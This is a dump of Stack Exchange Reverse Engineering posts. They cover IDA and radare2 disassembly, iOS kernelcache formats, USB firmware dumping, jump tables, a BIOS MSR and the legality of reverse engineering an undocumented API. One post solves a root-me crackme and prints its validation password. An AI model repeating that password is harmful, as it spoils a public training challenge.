  <row Id="20306" PostTypeId="2" ParentId="20296" CreationDate="2019-01-08T07:36:05.187" Score="1" Body="&lt;p&gt;Since eax,ebx etc are used instead of rax,rbx etc in your screen shot&lt;br&gt;&#xA;i assume it is some x86 code and not x64 code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;since there doesnt appear a push {} for arguments prior to the call&lt;br&gt;&#xA;i assume this code is not compiled with msvc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it appears to use a mov arguments to stack kind  which ida doesnt seem to decode&lt;br&gt;&#xA;(ida should usually show the hFile,etc args if it was standard vs compiled exe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(screenshot shows the disassembly of src code compiled from &lt;a href=&quot;http://www.martinbroadhurst.com/downloading-a-web-page-in-c-using-wininet.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; using vs2017 15.8.1 x86 32bit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jRqWj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jRqWj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the prototype for this &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/wininet/nf-wininet-internetreadfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;function&lt;/a&gt; is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOLAPI InternetReadFile(&#xA;  HINTERNET hFile,&#xA;  LPVOID    lpBuffer,&#xA;  DWORD     dwNumberOfBytesToRead,&#xA;  LPDWORD   lpdwNumberOfBytesRead&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your screenshot var 47c,478,474,470 are the arguments to this specific function   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at VIEW ESP window in your screen shot&lt;br&gt;&#xA;cc0xxx is your  &lt;strong&gt;HINTERNET hFile&lt;/strong&gt; argument&lt;br&gt;&#xA;var 454 is your &lt;strong&gt;LPVOID lpBuffer&lt;/strong&gt;&lt;br&gt;&#xA;0x3E8 is the    &lt;strong&gt;DWORD     dwNumberOfBytesToRead&lt;/strong&gt;,&lt;br&gt;&#xA;var_458 is the pointer to recieve the number of bytes read  &lt;strong&gt;LPDWORD   lpdwNumberOfBytesRead&lt;/strong&gt;  &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-01-08T07:36:05.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20307" PostTypeId="1" CreationDate="2019-01-08T11:10:00.360" Score="1" ViewCount="827" Body="&lt;p&gt;I've an iPhone7 running iOS11.3 (15E216). The ipsw for this build version contains two separate kernelcache files named kernelcache.release.iphone9 and kernelcache.release.iphone10. Neither file is an exact match for the kernel installed at /System/Library/Caches/com.apple.kernelcaches/kernelcache. What process does Apple perform on the ipsw kernelcache to produce the installed kernelcache? How do I identify which kernelcache is the one installed on my phone?&lt;/p&gt;&#xA;" OwnerUserId="4211" LastActivityDate="2019-06-07T22:03:20.403" Title="How to identify which iOS kernelcache is installed?" Tags="|firmware|decryption|ios|kernel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20308" PostTypeId="2" ParentId="20307" CreationDate="2019-01-08T12:42:03.883" Score="1" Body="&lt;p&gt;The /System/Library/Caches/com.apple.kernelcaches/kernelcache and the IPSW's kernelcache.release.iphone9 files have the same payload content but the former uses the IMG4 file format (containing a wrapper + payload) whereas the latter uses the IM4P file format (containing just the payload).&lt;/p&gt;&#xA;" OwnerUserId="4211" LastEditorUserId="4211" LastEditDate="2019-01-08T21:25:58.120" LastActivityDate="2019-01-08T21:25:58.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20309" PostTypeId="2" ParentId="20105" CreationDate="2019-01-08T13:28:48.227" Score="-1" Body="&lt;p&gt;The API key is maybe just a random hard coded secret. Take a look here:&#xA;&lt;a href=&quot;https://github.com/ikarulus/nextbike-api-reverse-engineering#obtaing-api-key&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ikarulus/nextbike-api-reverse-engineering#obtaing-api-key&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27017" LastActivityDate="2019-01-08T13:28:48.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20310" PostTypeId="2" ParentId="20295" CreationDate="2019-01-08T13:58:34.820" Score="1" Body="&lt;p&gt;It is a bit of a chicken and egg issue here. While it &lt;em&gt;may&lt;/em&gt; be possible that there is some custom USB command to dump the firmware, you’re unlikely to discover it by chance without analyzing actually running firmware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the only possibility I can think of is DFU (Device Firmware Update) which is a semi-standard protocol for updating firmware of USB devices. If there is a known process for putting the device into update mode, you can try using &lt;a href=&quot;http://dfu-util.sourceforge.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;dfu-util&lt;/a&gt; to see if it can communicate with the device. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-01-08T13:58:34.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20311" PostTypeId="2" ParentId="20293" CreationDate="2019-01-08T15:15:15.170" Score="2" Body="&lt;p&gt;If the device doesn’t respond to unsolicited traffic, it probably needs some specific commands to return results. You could try bruteforcing it by sending random data but it’s a chancy business. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more likely approach is to sniff the traffic from the official app or at least try to analyze it statically. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-01-08T15:15:15.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20312" PostTypeId="1" AcceptedAnswerId="20314" CreationDate="2019-01-08T21:36:49.050" Score="1" ViewCount="212" Body="&lt;p&gt;I just finished &lt;a href=&quot;https://www.root-me.org/fr/Challenges/Cracking/ELF-C-0-protection&quot; rel=&quot;nofollow noreferrer&quot;&gt;this challenge&lt;/a&gt;. This is the content of main function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048a86]&amp;gt; pdf&#xA;/ (fcn) main 417&#xA;|   main (int argc, char **argv, char **envp);&#xA;|           ; var int local_16h @ ebp-0x16&#xA;|           ; var int local_15h @ ebp-0x15&#xA;|           ; var int local_14h @ ebp-0x14&#xA;|           ; var int local_10h @ ebp-0x10&#xA;|           ; var int local_ch @ ebp-0xc&#xA;|           ; var int local_8h_2 @ ebp-0x8&#xA;|           ; var char *local_4h @ esp+0x4&#xA;|           ; var int local_8h @ esp+0x8&#xA;|           ; DATA XREF from entry0 (0x80488a7)&#xA;|           0x08048a86      8d4c2404       lea ecx, [local_4h]         ; 4&#xA;|           0x08048a8a      83e4f0         and esp, 0xfffffff0&#xA;|           0x08048a8d      ff71fc         push dword [ecx - 4]&#xA;|           0x08048a90      55             push ebp&#xA;|           0x08048a91      89e5           mov ebp, esp&#xA;|           0x08048a93      53             push ebx&#xA;|           0x08048a94      51             push ecx&#xA;|           0x08048a95      83ec20         sub esp, 0x20&#xA;|           0x08048a98      89cb           mov ebx, ecx&#xA;|           0x08048a9a      833b01         cmp dword [ebx], 1&#xA;|       ,=&amp;lt; 0x08048a9d      7f4f           jg 0x8048aee&#xA;|       |   0x08048a9f      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4&#xA;|       |   0x08048aa2      8b18           mov ebx, dword [eax]&#xA;|       |   0x08048aa4      c7442404b18d.  mov dword [local_4h], str.usage_: ; [0x8048db1:4]=0x67617375 ; &quot;usage : &quot;&#xA;|       |   0x08048aac      c7042460b004.  mov dword [esp], obj._ZSt4cerr__GLIBCXX_3.4 ; [0x804b060:4]=0&#xA;|       |   0x08048ab3      e838fdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|       |   0x08048ab8      895c2404       mov dword [local_4h], ebx&#xA;|       |   0x08048abc      890424         mov dword [esp], eax&#xA;|       |   0x08048abf      e82cfdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|       |   0x08048ac4      c7442404ba8d.  mov dword [local_4h], str.password ; [0x8048dba:4]=0x73617020 ; &quot; password&quot;&#xA;|       |   0x08048acc      890424         mov dword [esp], eax&#xA;|       |   0x08048acf      e81cfdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|       |   0x08048ad4      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff&#xA;|       |   0x08048adc      890424         mov dword [esp], eax&#xA;|       |   0x08048adf      e85cfdffff     call sym.std::ostream::operator___std::ostream_____std::ostream&#xA;|       |   0x08048ae4      bb05000000     mov ebx, 5&#xA;|      ,==&amp;lt; 0x08048ae9      e92b010000     jmp 0x8048c19&#xA;|      ||   ; CODE XREF from main (0x8048a9d)&#xA;|      |`-&amp;gt; 0x08048aee      8d45eb         lea eax, [local_15h]&#xA;|      |    0x08048af1      890424         mov dword [esp], eax&#xA;|      |    0x08048af4      e867fdffff     call sym.std::allocator_char_::allocator&#xA;|      |    0x08048af9      8d45eb         lea eax, [local_15h]&#xA;|      |    0x08048afc      89442408       mov dword [local_8h], eax&#xA;|      |    0x08048b00      c7442404c48d.  mov dword [local_4h], 0x8048dc4 ; [0x8048dc4:4]=0xca15d618&#xA;|      |    0x08048b08      8d45f4         lea eax, [local_ch]&#xA;|      |    0x08048b0b      890424         mov dword [esp], eax&#xA;|      |    0x08048b0e      e80dfdffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const&#xA;|      |    0x08048b13      8d45ea         lea eax, [local_16h]&#xA;|      |    0x08048b16      890424         mov dword [esp], eax&#xA;|      |    0x08048b19      e842fdffff     call sym.std::allocator_char_::allocator&#xA;|      |    0x08048b1e      8d45ea         lea eax, [local_16h]&#xA;|      |    0x08048b21      89442408       mov dword [local_8h], eax&#xA;|      |    0x08048b25      c7442404cc8d.  mov dword [local_4h], 0x8048dcc ; [0x8048dcc:4]=0xaf67b350&#xA;|      |    0x08048b2d      8d45f0         lea eax, [local_10h]&#xA;|      |    0x08048b30      890424         mov dword [esp], eax&#xA;|      |    0x08048b33      e8e8fcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const&#xA;|      |    0x08048b38      8d45ec         lea eax, [local_14h]&#xA;|      |    0x08048b3b      8d55f4         lea edx, [local_ch]&#xA;|      |    0x08048b3e      89542408       mov dword [local_8h], edx&#xA;|      |    0x08048b42      8d55f0         lea edx, [local_10h]&#xA;|      |    0x08048b45      89542404       mov dword [local_4h], edx&#xA;|      |    0x08048b49      890424         mov dword [esp], eax&#xA;|      |    0x08048b4c      e83cfeffff     call sym.plouf_std::string_std::string&#xA;|      |    0x08048b51      83ec04         sub esp, 4&#xA;|      |    0x08048b54      8d45f0         lea eax, [local_10h]&#xA;|      |    0x08048b57      890424         mov dword [esp], eax&#xA;|      |    0x08048b5a      e8a1fcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string&#xA;|      |    0x08048b5f      8d45ea         lea eax, [local_16h]&#xA;|      |    0x08048b62      890424         mov dword [esp], eax&#xA;|      |    0x08048b65      e8c6fcffff     call sym.std::allocator_char_::_allocator&#xA;|      |    0x08048b6a      8d45f4         lea eax, [local_ch]&#xA;|      |    0x08048b6d      890424         mov dword [esp], eax&#xA;|      |    0x08048b70      e88bfcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string&#xA;|      |    0x08048b75      8d45eb         lea eax, [local_15h]&#xA;|      |    0x08048b78      890424         mov dword [esp], eax&#xA;|      |    0x08048b7b      e8b0fcffff     call sym.std::allocator_char_::_allocator&#xA;|      |    0x08048b80      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4&#xA;|      |    0x08048b83      83c004         add eax, 4&#xA;|      |    0x08048b86      8b00           mov eax, dword [eax]&#xA;|      |    0x08048b88      89442404       mov dword [local_4h], eax&#xA;|      |    0x08048b8c      8d45ec         lea eax, [local_14h]&#xA;|      |    0x08048b8f      890424         mov dword [esp], eax&#xA;|      |    0x08048b92      e860010000     call sym.boolstd::operator___char_std::char_traits_char__std::allocator_char___std::basic_string_char_std::char_traits_char__std::allocator_char__const__charconst&#xA;|      |    0x08048b97      84c0           test al, al&#xA;|      |,=&amp;lt; 0x08048b99      744a           je 0x8048be5&#xA;|      ||   0x08048b9b      c7442404fc8d.  mov dword [local_4h], str.Bravo__tu_peux_valider_en_utilisant_ce_mot_de_passe... ; [0x8048dfc:4]=0x76617242 ; &quot;Bravo, tu peux valider en utilisant ce mot de passe...&quot;&#xA;|      ||   0x08048ba3      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0&#xA;|      ||   0x08048baa      e841fcffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|      ||   0x08048baf      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff&#xA;|      ||   0x08048bb7      890424         mov dword [esp], eax&#xA;|      ||   0x08048bba      e881fcffff     call sym.std::ostream::operator___std::ostream_____std::ostream&#xA;|      ||   0x08048bbf      c7442404348e.  mov dword [local_4h], str.Congratz._You_can_validate_with_this_password... ; [0x8048e34:4]=0x676e6f43 ; &quot;Congratz. You can validate with this password...&quot;&#xA;|      ||   0x08048bc7      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0&#xA;|      ||   0x08048bce      e81dfcffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|      ||   0x08048bd3      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff&#xA;|      ||   0x08048bdb      890424         mov dword [esp], eax&#xA;|      ||   0x08048bde      e85dfcffff     call sym.std::ostream::operator___std::ostream_____std::ostream&#xA;|     ,===&amp;lt; 0x08048be3      eb24           jmp 0x8048c09&#xA;|     |||   ; CODE XREF from main (0x8048b99)&#xA;|     ||`-&amp;gt; 0x08048be5      c7442404658e.  mov dword [local_4h], str.Password_incorrect. ; [0x8048e65:4]=0x73736150 ; &quot;Password incorrect.&quot;&#xA;|     ||    0x08048bed      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0&#xA;|     ||    0x08048bf4      e8f7fbffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|     ||    0x08048bf9      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff&#xA;|     ||    0x08048c01      890424         mov dword [esp], eax&#xA;|     ||    0x08048c04      e837fcffff     call sym.std::ostream::operator___std::ostream_____std::ostream&#xA;|     ||    ; CODE XREF from main (0x8048be3)&#xA;|     `---&amp;gt; 0x08048c09      bb00000000     mov ebx, 0&#xA;|      |    0x08048c0e      8d45ec         lea eax, [local_14h]&#xA;|      |    0x08048c11      890424         mov dword [esp], eax&#xA;|      |    0x08048c14      e8e7fbffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string&#xA;|      |    ; CODE XREF from main (0x8048ae9)&#xA;|      `--&amp;gt; 0x08048c19      89d8           mov eax, ebx&#xA;|       ,=&amp;lt; 0x08048c1b      eb75           jmp 0x8048c92&#xA;..&#xA;|       |   ; CODE XREF from main (0x8048c1b)&#xA;|       `-&amp;gt; 0x08048c92      8d65f8         lea esp, [local_8h_2]&#xA;|           0x08048c95      59             pop ecx&#xA;|           0x08048c96      5b             pop ebx&#xA;|           0x08048c97      5d             pop ebp&#xA;|           0x08048c98      8d61fc         lea esp, [ecx - 4]&#xA;\           0x08048c9b      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I solved it by placing a breakpoint to &lt;code&gt;0x08048b99&lt;/code&gt; adress and printing the stack when I hit it using the command &lt;code&gt;pxr @ esp&lt;/code&gt;&#xA;The result was : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xffe4a170  0xffe4a184  .... @esp stack R W 0x9f61c8c --&amp;gt;  (Here_you_have_to_understand_a_little_C++_stuffs)&#xA;0xffe4a174  0xffe4b367  g... edx stack R W 0x43007373 (ss) --&amp;gt;  ascii&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now, I would like to solve this challenge again in a different way. I have two questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First question :&lt;/strong&gt; At first, before solve it by this way, I tried to put breakpoint on each comparaison function and my idea was to change the rip adress like in &lt;a href=&quot;https://youtu.be/hy81mnLMvnE?t=540&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;.&#xA;The problem in my case is when I enter the command &lt;code&gt;dr&lt;/code&gt;, I don't have the rip adress. This is the output I have :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hit breakpoint at: 8048b99&#xA;[0x08048b99]&amp;gt; dr&#xA;eax = 0xffffff00&#xA;ebx = 0xffceafa0&#xA;ecx = 0x00000004&#xA;edx = 0xffceb365&#xA;esi = 0xf7d54000&#xA;edi = 0xf7d54000&#xA;esp = 0xffceaf60&#xA;ebp = 0xffceaf88&#xA;eip = 0x08048b99&#xA;eflags = 0x00000246&#xA;oeax = 0xffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why I don't have the rip value ? Can you explain me how can I do that if is it possible ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second question :&lt;/strong&gt; Is there a command in radare2 which I don't know and which allows me to print directly the value of &lt;code&gt;obj._ZSt4cout__GLIBCXX_3.4&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="26974" LastActivityDate="2019-01-09T21:24:45.003" Title="rip adress not visible with dr command" Tags="|binary-analysis|radare2|binary|breakpoint|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20313" PostTypeId="1" AcceptedAnswerId="20318" CreationDate="2019-01-09T05:05:31.753" Score="0" ViewCount="138" Body="&lt;h2&gt;Introduction&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So I have a peer to peer app that allows customers to request jobs at their own price and have the job fulfilled by a freelancer in the community. The common jobs requested as of recent are home improvement gigs and lawn care things. We plan on releasing a new feature that allows customers to request groceries through the app to be delivered to them as well. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Summary of The Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The grocery company we are using has open source documentation for parts of their api, however some of the documentation is missing components we need to successfully integrate the feature into our app. So for the missing components I have reverse engineered some components of the software that aren't included within the public documentation and plan on integrating it into our app. I haven't fully finished the reverse engineering, as I am a quarter of the way done but: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What legal implications does this hold?&lt;/li&gt;&#xA;&lt;li&gt;If it is unlawful, what is the severity of the repercussions? &lt;/li&gt;&#xA;&lt;li&gt;How long can I utilize this reverse engineering software before being&#xA;caught?&lt;/li&gt;&#xA;&lt;li&gt;Will I the implementer of the software be held accountable, or would&#xA;the company be accountable on my behalf?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="27025" LastEditorUserId="245" LastEditDate="2019-01-09T10:40:05.940" LastActivityDate="2019-01-09T14:15:40.197" Title="Reverse Engineering Grocery Software API" Tags="|api|law|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20314" PostTypeId="2" ParentId="20312" CreationDate="2019-01-09T06:26:03.830" Score="3" Body="&lt;p&gt;rip = x64 &#xA;eip = x86 &#xA;dr shows eip in your case &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is probably some demangled name  (not sure why radare2 inserts the GLIBC part )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if you strip the GLIBC part you can use iD Command to demangle it to std::cout&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x01012d6c]&amp;gt; iD cxx _ZSt4cout__GLIBCXX_3.4&#xA;[0x01012d6c]&amp;gt; iD cxx _ZSt4cout__GLIBCXX_&#xA;[0x01012d6c]&amp;gt; iD cxx _ZSt4cout__GLIBCXX&#xA;[0x01012d6c]&amp;gt; iD cxx _ZSt4cout__GLIBC&#xA;[0x01012d6c]&amp;gt; iD cxx _ZSt4cout__GL&#xA;[0x01012d6c]&amp;gt; iD cxx _ZSt4cout__&#xA;[0x01012d6c]&amp;gt; iD cxx _ZSt4cout_&#xA;[0x01012d6c]&amp;gt; iD cxx _ZSt4cout&#xA;std::cout&#xA;[0x01012d6c]&amp;gt; iD cxx _ZSt4cou&#xA;[0x01012d6c]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw i don't know why you get all that unintelligible thingies  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;did you analyse the executable prior to loading or after loading it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 does a better job than what you posted  as a result of pdf &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just so i wasn't deceived by some long forgotten memory i ran through hoops to fetch the 4th challenge :( and loaded it in radare2 and i am sure  it really does a better job than you posted in case after analysis you don't get intelligible output check &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e asm.demangle and set it to true reanlyze and do pdf &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screenshot the first _Z blah blah in your screen shot is std::cerr auto demangled by radare2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1qUGy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1qUGy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my radare2 version atm is 2.8.xxx i see latest is 3.2.xxx if the latest version differs in output try contacting the radare2 team &#xA;maybe someone from the team or a more avid user like megabeets might chime here too &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-01-09T21:24:45.003" LastActivityDate="2019-01-09T21:24:45.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20315" PostTypeId="1" AcceptedAnswerId="20327" CreationDate="2019-01-09T07:11:41.680" Score="1" ViewCount="537" Body="&lt;p&gt;I have come across the following jump table with a large amount of cases (160+). There seems to be cases missing from IDAs analysis though. For example it skips from cases 22 -&gt; 38 -&gt; 91, and I can see about 10 cases total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/08NEd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/08NEd.png&quot; alt=&quot;IDA&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I expect all switch cases to take up sequential memory? Is it possible the cases aren't missing, just located elsewhere in memory?&lt;/li&gt;&#xA;&lt;li&gt;If they are normally sequential, is IDA just misinterpreting the cases?&lt;/li&gt;&#xA;&lt;li&gt;Can anyone please explain why there are a large amount of cases belonging to this jumptable but I only see a select few?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Instructions around &lt;code&gt;0052B970&lt;/code&gt;, it is the disasm located immediately above the screenshot: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0052B932                loc_52B932:                             ; CODE XREF: sub_52B920+9↑j&#xA;.text:0052B932 8A 01                          mov     al, [ecx]&#xA;.text:0052B934 3C B5                          cmp     al, 0B5h&#xA;.text:0052B936 73 F3                          jnb     short loc_52B92B&#xA;.text:0052B938 0F B6 D0                       movzx   edx, al&#xA;.text:0052B93B 8B 04 95 E8 0A+                mov     eax, dword_730AE8[edx*4]&#xA;.text:0052B942 85 C0                          test    eax, eax&#xA;.text:0052B944 57                             push    edi&#xA;.text:0052B945 8B 7D 08                       mov     edi, [ebp+arg_0]&#xA;.text:0052B948 89 07                          mov     [edi], eax&#xA;.text:0052B94A 75 06                          jnz     short loc_52B952&#xA;.text:0052B94C 5F                             pop     edi&#xA;.text:0052B94D 5E                             pop     esi&#xA;.text:0052B94E 5D                             pop     ebp&#xA;.text:0052B94F C2 04 00                       retn    4&#xA;.text:0052B952                ; ---------------------------------------------------------------------------&#xA;.text:0052B952&#xA;.text:0052B952                loc_52B952:                             ; CODE XREF: sub_52B920+2A↑j&#xA;.text:0052B952 85 C0                          test    eax, eax&#xA;.text:0052B954 53                             push    ebx&#xA;.text:0052B955 0F 8D DC 01 00+                jge     loc_52BB37&#xA;.text:0052B95B 8D 42 EA                       lea     eax, [edx-16h]  ; switch 158 cases&#xA;.text:0052B95E 3D 9D 00 00 00                 cmp     eax, 9Dh&#xA;.text:0052B963 0F 87 C8 01 00+                ja      loc_52BB31      ; jumptable 0052B970 default case&#xA;.text:0052B969 0F B6 80 80 BB+                movzx   eax, ds:byte_52BB80[eax]&#xA;.text:0052B970 FF 24 85 44 BB+                jmp     ds:off_52BB44[eax*4] ; switch jump&#xA;.text:0052B977                ; ---------------------------------------------------------------------------&#xA;.text:0052B977&#xA;.text:0052B977                loc_52B977:                             ; CODE XREF: sub_52B920+50↑j&#xA;.text:0052B977                                                        ; DATA XREF: .text:off_52BB44↓o&#xA;.text:0052B977 83 FE 0D                       cmp     esi, 0Dh        ; jumptable 0052B970 case 22&#xA;.text:0052B97A 72 4A                          jb      short loc_52B9C6&#xA;.text:0052B97C 0F B7 49 01                    movzx   ecx, word ptr [ecx+1]&#xA;.text:0052B980 5B                             pop     ebx&#xA;.text:0052B981 89 0F                          mov     [edi], ecx&#xA;.text:0052B983 5F                             pop     edi&#xA;.text:0052B984 B8 01 00 00 00                 mov     eax, 1&#xA;.text:0052B989 5E                             pop     esi&#xA;.text:0052B98A 5D                             pop     ebp&#xA;.text:0052B98B C2 04 00                       retn    4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19294" LastEditorUserId="19294" LastEditDate="2019-01-10T19:49:22.193" LastActivityDate="2019-01-10T19:49:22.193" Title="IDA - large jump table, missing cases in analysis" Tags="|ida|binary-analysis|x86|static-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20316" PostTypeId="1" AcceptedAnswerId="20320" CreationDate="2019-01-09T08:19:16.893" Score="4" ViewCount="656" Body="&lt;p&gt;&lt;br&gt;&#xA;I'm reversing the &lt;strong&gt;BIOS&lt;/strong&gt; of my laptop, for fun and for learning something new.&lt;br&gt;&#xA;Inside it, I just stepped into this piece of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, 13Ah&#xA;rdmsr&#xA;and     eax, 1&#xA;jnz     SkipCacheAsRAM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking on the Intel datasheet &quot;Intel 64 and IA-32 Architectures Software Developer’s Manual&quot;, I couldn't find any clue about it, but seems like that in this BIOS release, its value is essential the determine if a key feature such as 'cache as RAM' have to be initialized using an approach or another.&#xA;I checked also on the AMD equivalent datasheet, even though I'm sure the MotherBoard is only for Intel CPUs.&lt;br&gt;&#xA;Does anyone indicate me an alternative source(s) where to search what this 0x13a register does?&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="17411" LastActivityDate="2019-01-09T18:12:28.623" Title="Undocumented MSR Machine Specific register" Tags="|x86|intel|bios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20318" PostTypeId="2" ParentId="20313" CreationDate="2019-01-09T14:15:40.197" Score="1" Body="&lt;p&gt;I (a random bloke on the internet) would do these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;read the EULA and terms&amp;amp;conditions. Do they explicitly prohibit/allow all/some parts of the API?&lt;/li&gt;&#xA;&lt;li&gt;is the API you're using internal or merely undocumented?&lt;/li&gt;&#xA;&lt;li&gt;depending on the country/jurisdiction you might not be able to use the results of RE. It can be questionable how much of an RE it is to guess the API endpoint.&lt;/li&gt;&#xA;&lt;li&gt;contact the grocery API authors, maybe they're planning a public API for the features you need or maybe they can point you in the right direction without the need to call their private API.&lt;/li&gt;&#xA;&lt;li&gt;talk to a lawyer. I don't want to make assumptions when I can end up with a fine or in jail.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As @Amirag mentioned the private API might be very unstable and if 